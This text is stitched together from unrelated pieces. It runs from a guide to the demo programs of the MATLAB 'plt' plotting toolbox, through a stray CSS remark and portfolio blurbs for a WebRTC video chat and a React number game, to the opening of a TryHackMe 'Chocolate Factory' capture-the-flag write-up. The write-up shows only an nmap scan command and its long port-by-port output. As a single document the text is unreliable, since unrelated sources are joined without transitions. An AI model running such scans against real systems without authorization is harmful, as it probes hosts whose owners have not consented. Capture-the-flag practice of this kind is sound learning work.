In the demo folder you will find 22 example programs to help you learn
how to take advantage of many of plt's features.
In addition to its main role as a demo program launcher, demoplt also
demonstrates the use of one of plt's pseudo objects, namely the ColorPick
window. (Note: A pseudo object is a collection of more primitive Matlab objects,
assembled together to perform a common objective.) The ColorPick pseudo object
is useful whenever the programmer wants to allow the user to have control over
the the color of one of the graphic elements. In demoplt there are 3 such
elements: The text color, the text background color, and the figure background
color. The ColorPick window is activated when you left or right click on any of
the 3 text labels near the bottom of the figure, or any of the uicontrol objects
adjacent to these labels. (Only a right click on the figure background edit box
will bring up a ColorPick window). After the ColorPick window appears you can
use the sliders or the color patches to change the color of the respective
graphic element. For more details, see the Pseudo
objects section in the help file.
An optional feature of the ColorPick object is the color change callback
function (a function to be called whenever a new color is selected). This
feature is demonstrated here by assigning the color change callback to
"demoplt(0)". Note that line 102 of this program can be deleted to remove this
callback. The callback function is used to "animate" the listbox by gradually
increasing the fontsize before returning it to its original value. This
animation is certainly not useful, but is there merely to demonstrate how to use
the callback. Although it's unrelated to plt, demoplt also demonstrates the use
of the close request function, which in this example is assigned to "demoplt(1)"
and is used to save the currently selected colors and screen position to a setup
file.
plt5.m
|
|
This is a simple script which creates a plot
containing 5 traces. Hopefully you have already been running this script
while following thru the earlier sections.
- Note how the five y-vectors are combined to form a single plt argument.
- Note the use of the 'Xlim' and
'Ylim' arguments to control the initial axis
limits.
- Note the use of 'FigName'to name the figure
that contains the plot
- Note the use of 'LabelX' argument to
assign a label for the x axis.
- Note the use of the 'LabelY' argument to
add a label for both the left and right-hand axes.
Note that plt will use a right-hand axis since two labels were included in
the LabelY parameter. Usually the
'Right' parameter is included to specify which traces are to use the
right axis, but in this example the parameter was omitted, so plt defaults to
putting just the last trace on the right-hand axis.
|
plt50.m
|
|
This script is similar to plt5.m except the
number of functions plotted has been increased to 50 to demonstrate the use
of the TIDcolumn parameter.
- Normally the legend is rendered in a single column; but with this many
traces, the trace IDs fit much more comfortably in two columns. The
'TIDcolumn',25 included in the plt argument list actually specifies
the number of items to put in the second column, which in this example
means that both columns will contain 25 items.
- With so many traces, the utility of using the legend to selectively
enable or disable individual traces becomes even more compelling. Although
the traces and the legend are color coded, it's difficult to distinguish
every trace based on color, so clicking on a legend item is often
necessary to uniquely identify a trace. This also is essential when you
need to reduce the clutter that often results from plotting so many
traces.
- The 'Position' parameter is used to
increase the figure area about 30% from the default of 700x525 pixels to
800x600 to make the plot less crowded.
|
pltn.m
|
|
Similar to
plt5 and
plt50, except that this is a function instead of a script. This function takes an
argument which specifies how many traces to plot. For instance
pltn(1) will plot a single trace, and
pltn(99) will plot 99 traces. If you specify any more
traces than this, the trace IDs are not displayed (since there will not be room for them).
pltn with no arguments does the same thing as "pltn(99)".
You can change the number of traces plotted even after pltn is already running by entering
a new number in the "# of lines" edit box (lower left). Try entering "1000" into this
edit box just to see that plt can actually handle such a large number of traces!
- The TIDcolumn parameter is used to divide the trace
IDs into up to three columns if necessary. (Showing 99 trace IDs in one column wouldn't
be practical.)
- TraceIDs are disabled when more than 99 traces
are specified. (Otherwise plt would complain.)
- Uses the
'Ystring' parameter to show a continuous readout
of the cursor index.
- Uses the
'Xstring' parameter to show a continuous readout
of the date and time corresponding to the cursor X position. Note the edit box
form is selected by placing a question mark character at the beginning of the
string.
- A callback is written for the Xstring edit box that moves the cursor
to the index with a corresponding time as close as possible to the entered
value. For example, try this:
- Click on the top trace (which makes it easy to see the cursor).
- Enter dates into the edit box - e.g. "30 dec 2006",
or "3-jan-07 9:59", etc.
- Verify that the cursor moves to the corresponding point.
|
pltvbar.m
|
|
This script demonstrates the use of vbar.m and
ebar.m to plot vertical bars and error bars respectively. Some things to
note about pltvbar are:
- The first vbar in the argument list plots two functions on a single
trace (green) with the 1st function (phase1) defining the position of the
bottom of the vertical bars and the 2nd function (phase2) defining the
position of the tops of the bars.
- The second vbar in the list plots 3 functions (called serp, bell1, and
bell2). The 3 columns of the first vbar argument define the x coordinates
for those three functions. The next argument (0) indicates that the bottom
of all the vertical bars is at y=0. The last vbar argument gives the y
coordinate for each of the 3 functions (one function per column).
- The next trace definition (the data argument pair after the
'linewidth') plots two traces corresponding to
the two columns of
poly23. The 1st column is a 2nd order polynomial and the 2nd column
is 3rd order.
- The next trace definition uses ebar function to create two error bar
traces, the first trace defined by the first column of each of the 3
arguments and the second trace defined by the second column.
- The
'screensize' property is used to make the plot
fill a fixed fraction of the space available.
- The
'linewidth' argument appears in the middle of the
plt call to change the width of only the traces defined earlier in the
argument list.
- The
'TraceID' argument is used to assign names for
each trace that are appropriate for the data being displayed.
- The
'AxisPos' argument is used to widen the TraceID
box to make room for the longer than usual trace ID names
- The
'Options' argument is used to enable the menu bar
and to add the "Print" tag to the menu box.
- The
'+FontSize',
'+FontWeight',
'+FontAngle',
'+Xtick',
'+Ytick',
arguments are used to modify the main axis properties of the same name
(without the plus).
- The Grid pseudo object is used to create a 8x3 table of character data.
|
pltquiv.m
|
|
This script file demonstrates several plt
tricks and features:
- The quiv.m function appears twice in the plt argument list to plot two
vector fields both with the base location specified by f and lengths
specified by v1 and v2 respectively. The first of these quiv calls is somewhat similar to the MatLab
command
quiver(real(f),imag(f),real(v1),imag(v1));
- Using tex commands (e.g. \uparrow) inside Trace ID names
- Reassigning menu box items. In this example, the
LinX tag is replaced by a
Filter tag. Its buttondown function (which is executed when you
click on 'Filter') searches for the 4th trace (using findobj) and swaps
the contents of its user data and y-axis data.
- Adding text items to the figure. Note that the text position is
specified using x and y axes coordinates.
- Using NaNs (not a number) to blank out portions of a trace. In this
case, the NaNs were inserted into the x coordinate data, although using
the y or z coordinates for this purpose works equally as well.
- Using the TraceID callback function (TIDcback)
to perform an action when you click on a trace ID. For example, when you
click on the last trace ID (humps+rand) this will appear in the command
window: "A trace named humps+rand and color [1.00 0.00 0.00] was toggled".
(This TraceID callback was contrived to use all the substitutions, and is
not particularly useful.)
|
gauss.m
|
|
This script plots the results of combining uniform random variables.
- Shows the advantage of setting the line data after the
plt(..) call.
- Note the use of the 'FigName' and
'TraceID' arguments.
- Note the appearance of the Greek letter in the x-axis label.
- Shows how to use the
'COLORc' argument to select Matlab's default
plotting colors (typically set to use a white background for the plotting
area)
- Shows how to use the
'DIStrace' argument to disable some traces on
startup.
- Shows how to use the
'MotionZoom' argument to create a new plot
showing only the zoom window. Admittedly this is more contrived than
useful in this particular script, but at least this example will clarify
the function of the MotionZoom parameter.
- The zoom window plot also demonstrates an easy way to copy the trace data
from one plot to another (in this case from the main plot to the zoom plot).
|
tasplt.m
|
|
This script file creates two plots each
consisting of 9 traces. These plt tricks and features are demonstrated:
- Note that these figures plot multiple valued functions (i.e.
relations).
- The first plot (efficiency and range chart) creates a trace for each
column of gph and mpg (9 columns for 9 altitudes)
- Demonstrates adding an additional axis to show alternate units on the
right hand and/or top axis
- Demonstrates adding text objects to annotate the graph
- Demonstrates how the cursors in two plots can be linked. Moving one,
moves the other. Also in this example switching the active trace in one
plot does the same in the other as well.
- Uses 'Xstrings' and 'Ystrings'
to display alternate units.
- Shows how to close both figures when either plot is closed by using the
'Link' parameter.
|
trigplt.m
|
|
This example demonstrates the use of the slider
pseudo object as well as showing how to use the TraceMK
parameter to show the line characteristics in the trace selection box.
Although it can be done using plt parameters, this example also shows how to
modify other characteristics of the TraceID box such as its location,
colors, and fonts.
Text objects are used to display help information at the top of the plot
window. This help text disappears when any parameter is changed but can be
re-enabled by clicking on the help button.
|
subplt.m
|
|
The 'SubPlot'
argument is used to create 3 axes. plt puts a single trace on each axes
except for the main (lower) axis which gets all the remaining traces. In
this case, since there are 5 traces defined, the main axis has 3 traces.
Note that the traces are assigned to the axes from the bottom up so that the
last trace (serp) appears on the upper most axis.
- The 'LabelY' argument defines the y-axis
labels for all three axes, again from the bottom up. You can also define
the y-axis label for the right hand main axis, by tacking it onto the end
of the LabelY array (as done here).
- The 'Right',2 argument is used to specify
that the 2nd trace of the main axis should be put on the right hand axis.
If this argument was omitted, plt would still have known that a right hand
axis was desired (because of the extra y-label in the LabelY array)
however it would have put trace 3 on the right hand axis. (By default, the
last trace goes on the right axis).
- The LineWidth and
LineStyle arguments define line characteristics for all 5 traces.
- The TraceMK parameter enables the trace
selection
box to show the line characteristics and the AxisPos
parameter widens the trace selection box to make room for this.
- Note that the lower (main) axis has all the usual plt cursoring
features. The other 2 plots support a subset of the cursoring features and
have individual color coded y-value cursor readouts shown along the bottom
portion of the figure.
- Only a single x-axis edit box is needed since plt keeps the cursors of
all three axes aligned. Also note that if you zoom or pan any of the 3
plots, the other two plots will adjust their x-axis limits to agree.
|
subplt8.m
|
|
This script shows a slight expansion of the
ideas found in subplt.m by increasing the number of axes from 3 to 8. Also
the axes are arranged in two columns which allows the use of two different x
axes (one for each column).
- Note that the four axes on the left are synchronized with each other
as well as the four on the right, although the left and right halves are
independent of each other and have different x axis limits and units.
- The main plot (lower left) contains 3 traces because 10 traces have
been defined and 7 of them are assigned to the other 7 subplots. The main
plot doesn't have a right hand axis in this example, although it would if
a 'Right' argument was included or if an extra
y-label were included in the 'LabelY' array.
|
winplt.m
|
|
This function displays traces showing
the time and frequency domain shapes of 31 different FFT windows. (The last
2 are user defined.)
- Demonstrates how to provide application specific help from a menu box
tag (HelpW in this example).
- The right hand axis is used to good advantage.
- Demonstrates one way to add auxiliary controls to a figure created by
plt.
- The controls added include three types of pseudo objects, as
well as the native Matlab text objects and uicontrols (the checkbox in
this case).
- The pseudo
objects were created using the plt('slider'), the plt('pop'),
and the plt('edit')
commands. All three of those commands are described here.
- Shows how the popup object can be used to edit a vector - the window
kernel in this case. (See ID30 - adjust kernel)
- For a more complete description of this example click on the
HelpW tag in the menu box or open
winplt.chm or
winplt.pdf.
|
editz.m
|
|
Two plots are created, one showing the
poles and zeros of a z-plane transfer function and the other showing the
magnitude and phase of it's frequency response. The frequency response plot
automatically updates even while you are dragging a root to a new location.
At first the updating in real time (i.e. while you are dragging) may not
seem so important, but when you use the program its importance becomes
clear. This is accomplished by using the MotionEdit
parameter (see line 133). Besides demonstrating the usefulness of plt's data
editing capability, my other purpose in writing this little
application was to help engineering students develop a feel for how the
magnitude and phase response reacts to a change in the positions of the transfer
function poles and zeros. This intuition is much easier to develop if one
can watch the transfer function change in real time as one drags the roots
around the z-plane. (You've got to try it to see what I mean.) Typical
transfer function display routines rarely provide this capability.
- When the program first starts, text appears in the pole/zero
plot that tells you how you can use the mouse to move the roots of the
transfer function. However it is easy to miss these important instructions
since they dissappear as soon as you click on anything in that figure
widow. (This was necessary to manage clutter). However you can re-enable
the help text at any time by clickin on the yellow "editz help" tag which
is centered near the left edge of the figure window.
- In the frequency plot, the x-cursor edit boxes show the cursor
location as a fraction of the sample rate. The Xstring
parameter is used to show this as an angular measure (in degrees) just
to the right of the x-cursor readout. Since the DualCur parameter is used, there
are two y-cursor edit boxes. The first one (green) shows the magnitude response
in dB and the second one (purple) shows the phase response in degrees. The
Ystring parameter is used to show the magnitude
response in linear form (in percent). Note that after the plot command, the
Ystring is moved to the left of the plot because by default the Ystring appears
in the same place as the dual cursor. The alternate location allows room for a
multi-line Ystring which is generated compliments of prin's
cell array output feature. The AxisLink
parameter is used so that by default the mag/phase axes are controlled separately.
- In the pole/zero plot, the x and y-cursor edit boxes show the
pole/zero locations in cartesian form. The Xstring parameter shows the
polar form just to the right of the x-cursor readout.
- Normally plt's data editing is initiated when you right click on
either the x or the y cursor readouts. However when data editing is
being used extensively (as in this program) it is useful to provide an
easier way to enter editing mode. In this program, this is done with the
patch object that appears just below the traceID box. (The patch object
is created on line 148 of this file). The 'Dedit' application data
variable is used (see lines 138 to 140) to change the default editing
mode from the usual default (change only the y coordinate) to the
alternative (allow changing both the x and y coordinates. Also the
application data variable 'EditCur' (see line 141) is used to change the
default size of the cursors used for editing.
- Notice that while dragging a pole or a zero to a new location, the
pole or zero remains inside the diamond shape edit cursor ... except
that is when you get close to the x axis. At that point the root jumps
out of the edit cursor and sticks to the x axis (for as long as the edit
cursor remains inside the green band). Without this snap to behavior it
would be nearly impossible to create a real root. Similarly, when you
drag a zero (but not a pole) "close" enough to the unit circle, the zero
will "snap to" the circle. Without this feature it would be difficult to
create a transfer function with a symetric numerator polynomial.
- How "close" is close enough for these snap to operations? Well this
is determined by the Tolerance slider which is in the lower left corner
of the pole/zero plot. Notice that as you move this slider, the width of
the green band surrounding the x-axis and the unit circle gets bigger.
If you want to disable the snap to feature, simply move the tolerance
slider to 0.
- Shows how to close both figures when either plot is closed by using the
'Link' parameter.
|
weight.m
|
|
This script shows another example of putting
more than one plot in
a single figure. The SubPlot argument is used to create three axes. The lower axis contains
four traces showing the magnitude of 4
different weighting functions used in sound level meters (as defined by IEC
651). The upper axis also contains 4 traces showing the same 4 functions
except in dB instead of the linear units used for the lower axis. The middle
axis shows the inverse of the linear magnitude traces, which isn't
particularly interesting except that I wanted to demonstrate the use of
three axes.
- Normally plt only puts one trace on each subplot except for the main
(lower) axis. So in this case (with 12 traces) plt puts 10 traces on the
lower axis and one on the other two. Since we really want 4, 4, and 4, the 'SubTrace'
parameter is used partition the traces between the axes as desired.
- Note that using the SubTrace parameter pretty much assures that the
native plt cursor objects will not behave consistently. For this reason,
cursors are often disabled when the SubTrace parameter is used. However in
this example we want the cursoring to work, so we use the 'moveCB'
cursor callback (and case 1 of the switch command) to keep the cursors
synchronized so they make sense for this particular situation. Because of
this extra code you will notice that the cursors in the upper two axes
automatically move to the same trace and the same x position used in the
current approach
- The traceID callback ('TIDcback') insures
that the traceID box controls the traces in the upper two axes as well (switch case 2).
- Note the 'LineWidth' argument in the plt
call. This illustrates how any line property may be included in the
calling sequence.
|
curves.m
|
|
This function shows an example where many GUI controls need to
fit into a relatively small
space.
- The ten controls above the graph (nine edit text objects and one
popup text object) all are used to control how the parametric curves in the
graph are displayed.
- If we used the traditional MatLab/Windows GUI objects, we would
have had to make the graph much smaller to make room for all these controls.
- In addition, the plt('edit') objects provide a much easier way to modify the
numeric values, nearly matching the convenience of a slider object. The plt('edit')
and plt('pop') commands are described here.
After
starting curves.m, right click on the curve name at the bottom of the figure
to cycle thru the 36 different cool looking curve displays. Left click on
the curve name as well to select from the complete list of curves.
If you start it by typing "curves cycle" then
after starting it will cycle once through all 36 curves (at a rate of half
a second per curve).
- The equations in white just below the graph and above the curve name,
serve as more than just the x-axis label. This specific string is
evaluated by Matlab to compute the points plotted on the graph.
- The vector t, and the constants a, b, and c that appear in these
equations are defined by the controls above the graph. Experiment by both
right and left clicking on these controls.
- For the cases when more than one trace is plotted, the first control
on the left (labeled "trace") indicates which trace is effected by the
other nine controls above the graph.
- Note that when you left click on a control, it will increase or
decrease depending on whether you click on the left or right side of the
text string.
- Separate values for a, b, and c are saved for each trace of a
multi-trace plot. This explains the variety of curves that can appear for
a single set of equations (shown below the graph).
|
pub.m
|
|
All the other plt examples in the demo folder use plotting formats appropriate
for data exploration (the main design goal of plt). However plt can also use
formats appropriate for creating plots for publication. This script demonstrates
this by creating three different figures windows. Note that all three windows are
created by calling pltpub() which simply calls
plt() with several parameters optimized for creating
publishable plots.
- The first window (plot 1 - lower left) is a bar chart that demonstrates how to embed the
plot data inside the script as comments. It also demonstrates the use of the
prin function to display a table of random numbers
in a text box
- The second window (plot 2 - upper left) demonstrates how to distrubute 15 functions
among 5 subplots by using the 'SubTrace' parameter
and how to set the trace colors and line styles.
-
The third window (plot 3) contains two traces with error bars and shows
how to use text objects to create specially formatted tick labels.
- Shows the use of the "+ - < > ." prefixes
to modify properties of:
+ the left axis
- the right axis
< the left y-label
> the right y-label
. the x-label
- Uses the 'COLORdef' parameter to select a
white plot background
- Uses the 'NoCursor' option to remove the
cursor objects
- Uses the 'TraceID','' parameter to remove
the TraceID box
- Demonstrates various ways of modifying the grid lines
|
pltvar.m
|
|
To demonstrate the workspace plotter, this
script creates several vectors in the workspace (including a structure
containing two vector fields) and then starts the workspace
plotter by calling plt with no
arguments.
|
pltsq.m
|
|
This function shows
one programming style for adding
additional GUI controls to a plt window. Typically this is something you
will want to do when creating an application based on plt.
- Note how the 10 uicontrols are added to the figure (4 popups, 2
buttons, and 6 text labels).
- Note that the uicontrol units are changed to normalized so that they
reposition properly when you resize the plt figure window.
- The 'moveCB' argument and the plt('rename') call are used to provide
simultaneous cursor readouts for all 5 traces (using the TraceID). Click
anywhere in the plot area to see the cursor values update)
- Note the use of the 'AxisPos' argument to make room for the uicontrols
added above the plot area.
- Note the use of the 'Options' argument to
turn off grid lines (initially) and to remove the y-axes Log selector from
the menu box.
- You can use the Erasemode popup to explore the effect of the erasemode
property on drawing speed.
|
movbar.m
|
|
This function plots a series of 40 random bars
and displays a horizontal threshold line which you can move by sliding the
mouse along the vertical green line. As you move the threshold line, a
string below the plot reports the number of bars that exceed the threshold.
(This demonstrates the use of the plt xstring
parameter.). These two buttons are added to the plt figure:
- Rand: Sets the bar heights to a new random data set.
- Walk: Clicking this once starts a random walk process of
the bar heights. Clicking a second time halts this process. The Walk
button user data holds the walk/halt status (1/0 respectively)
demonstrating a simple way to start and stop a moving plot.
Note that you can move the threshold or press the Rand button while it is
walking. Also, if you click on one of the vertical purple bars, the
horizontal threshold bar will then follow the upper end of that vertical
bar.
|
dice.m
|
|
This function displays a simulation of Sam
Loyd's carnival dice game.  If
one six appears you get 2 dollars, if two sixes appear, you get 3 dollars,
if three sixes appear, you get 4 dollars, and otherwise, you get nothing.
- Three traces are created: accumulated winnings, earnings per bet, and
expected earnings per bet.
- The first two traces are displayed as they are computed, i.e. every
time the dice are rolled, a new value is appended to the trace and the
plot is updated so you can watch the function grow in real time.
- A second axis is added near the top of the figure to show the dice.
For each die, a line with dots as markers is added for each of the six
faces, with only one of these lines being visible at a time. A square
patch is also added for each die for the visual effect.
|
bounce.m
|
|
This function displays a specified number of
markers with random shapes and colors in the form of a 5 pedal rose which
then start randomly walking around bouncing off the walls. Click on the
"Walk"/"Stop" button to start and stop the motion. The
slider controls the walking speed. The argument determines the number of
markers, i.e. bounce(88) will display 88 markers. If bounce is called
without an argument, the default value will be used (120 markers).
- Shows that plt can create many line objects (each marker is actually a
line object) by using matrices for the x,y parameters.
- Shows that plt can set line properties using cell arrays.
- Shows how to disable TraceIDs to avoid the 99 trace limit.
|
circles12.m
| |
This is a two part script. The first part
creates 3 figures each showing a different solution to the following problem ...
Draw 12 circles in a plane so
that every circle is tangent to exactly 5 others.
The second part of the script draws the solution to the following problem
...
Divide a circle into n congruent
parts so that at least one part does not touch the center.
(Hint: the only
known solution uses n = 12)
A slider is also added below the plot which lets you
rotate the image and control the rotation speed.
- Shows the utility of using complex numbers to hold the x and y
positions of the plotted points.
- Note that even though the calls to plt for solutions 2&3 specify same
screen location ('Position' parameter) plt doesn't actually plot them on
top of each other. Instead a small offset is added in this situation, a
feature that makes it easier to create many plt windows so that any of
them can be easily selected with the mouse.
- Demonstrates two ways of creating the Trace IDs (reshape and repmat).
- Demonstrates how to make circles look true by using a zero in the
'Position' argument (width or height).
- Shows how to hide cursor objects and the menu box (second part of
script)
- Uses
'options','Ticks'
to select axis tick marks instead of full grid lines.
|
wfall.m
|
|
This function shows one way to create a
waterfall plot with hidden line removal.
- Note how plt is called with a single trace color and no TraceID box.
- Figure user data and setappdata are used to communicate with the callback.
- Extensive use of the slider pseudo object to control the plotted data.
|


If your .inner element is a link, the text automatically takes on a large font face and arrow. This style is best used as an image button to tease and link further content.
.inner


A simple P2P video chat for many rooms, with two people per room. Just go to the site,
give access to your WebCam and Mic and then type a room name in the alert box. Ask
another
person to do the same and to type the same room name, now you both can chat through the
browser
without any external extra software like Skype or any extra plugins for flash etc. This
is possible
because of WebRTC which is a standard for Browser to Browser communication, more like
Peer to Peer (P2P)
communication, which needs a server just to initiate the connection and then doesn't
need a server
and the communication happens directly between the two browsers without any server
overhead!
It's a simple game created using React. The game play includes choosing a set of numbers
of the range 1-9
(by clicking on them) which add up to be equal to the number of stars displayed in the
screen.
Once a successful set of numbers is chosen, select the "=" button for verification and
if it's
correct it will show the correct sign and you can press the button again to get the next
number
of stars. If the answer is wrong, you can change the answer by removing numbers by
clicking on
the already chosen numbers to unselect them, and then select other numbers.
And every number can be used only once and the goal of the game is to use up all the
numbers.
This may sound easy, but when you don't have any possible set of numbers that add up to
the
number of stars, you can use the refresh button below the "=" verification button to
redraw
a new random number of stars. But you can use the refresh feature only 5 times. So, you
lose
when you don't aren't able to find a set of numbers which add up to number of stars,
and don't have refresh counts and of course when you haven't used up all the numbers.


ChocolateFactory TryHackMe Writeup
Chocolate Factory TryHackMe Writeup
This is the writeup of the ChocolateFactory room.
First Stage : Enumeration
Let’s fire up nmap.
# Nmap 7.91 scan initiated Tue Jan 19 11:06:32 2021 as: nmap -sC -sV -T4 -vv -p- -oN nmapscan <IP_ADDRESS>
Warning: <IP_ADDRESS> giving up on port because retransmission cap hit (6).
Nmap scan report for <IP_ADDRESS>
Host is up, received syn-ack (0.15s latency).
Scanned at 2021-01-19 11:06:33 IST for 1453s
Not shown: 65448 closed ports
Reason: 65448 conn-refused
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-rw-r-- 1 1000 1000 208838 Sep 30 14:31 gum_room.jpg
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:<IP_ADDRESS>
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 2
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 16:31:bb:b5:1f:cc:cc:12:14:8f:f0:d8:33:b0:08:9b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuEAWoQHbW+vehIUZLTiJyXKjUAAJP0sgW/P0LHVaf4C5+1oEBXcDBBZC7SoL6MTMYn8zlEfhCbjQb7A/Yf2IxLzU5f35yuhEbWEvYmuP4PmBB04CJdDItU0xwAbGsufyzZ6td6LKm+oim8xJn/lVTeykVZTASF9iuY9tqwA933AfjqKlNByj82TAmlVkQ93bq+e7Gu/pRkSn++RkIUd4f8ogmLLusEh+vbGkZDj4UdwTIZbOSeuS4oz/umpkJPhekGVoyzjPMRIq9cwdeKIVRwUNbp4BoJjYKjbCC9YY8u/7O6lhtwo4uAp7Q9PfRRCiCpVimm6kIgBmgqqKbueDl
| 256 e7:1f:c9:db:3e:aa:44:b6:72:10:3c:ee:db:1d:33:90 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAYfNs0w6oOdzMM4B2JyB5pWr1qq9oB+xF0Voyn4gBYEGPC9+dqPudYagioH1ArjIHZFF0G24rt7L/6x1OPJSts=
| 256 b4:45:02:b6:24:8e:a9:06:5f:6c:79:44:8a:06:55:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAwurtl1AFxJU7cHOfbCNr34YoTmAVnVUIXt4QHPD1B2
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
100/tcp open newacct? syn-ack
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
101/tcp open hostname? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
102/tcp open iso-tsap? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
103/tcp open gppitnp? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
104/tcp open acr-nema? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
|_dicom-ping:
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
105/tcp open csnet-ns? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
106/tcp open pop3pw? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
107/tcp open rtelnet? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
108/tcp open snagas? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
109/tcp open pop2? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
110/tcp open pop3? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
111/tcp open rpcbind? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| NULL, RPCCheck:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
112/tcp open mcidas? syn-ack
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| fingerprint-strings:
| GenericLines, NULL:
| "Welcome to chocolate room!!
| ___.---------------.
| .'__'__'__'__'__,` . ____ ___ \r
| _:\x20 |:. \x20 ___ \r
| \'__'__'__'__'_`.__| `. \x20 ___ \r
| \'__'__'__\x20__'_;-----------------`
| \|______________________;________________|
| small hint from Mr.Wonka : Look somewhere else, its not here! ;)
|_ hope you wont drown Augustus"
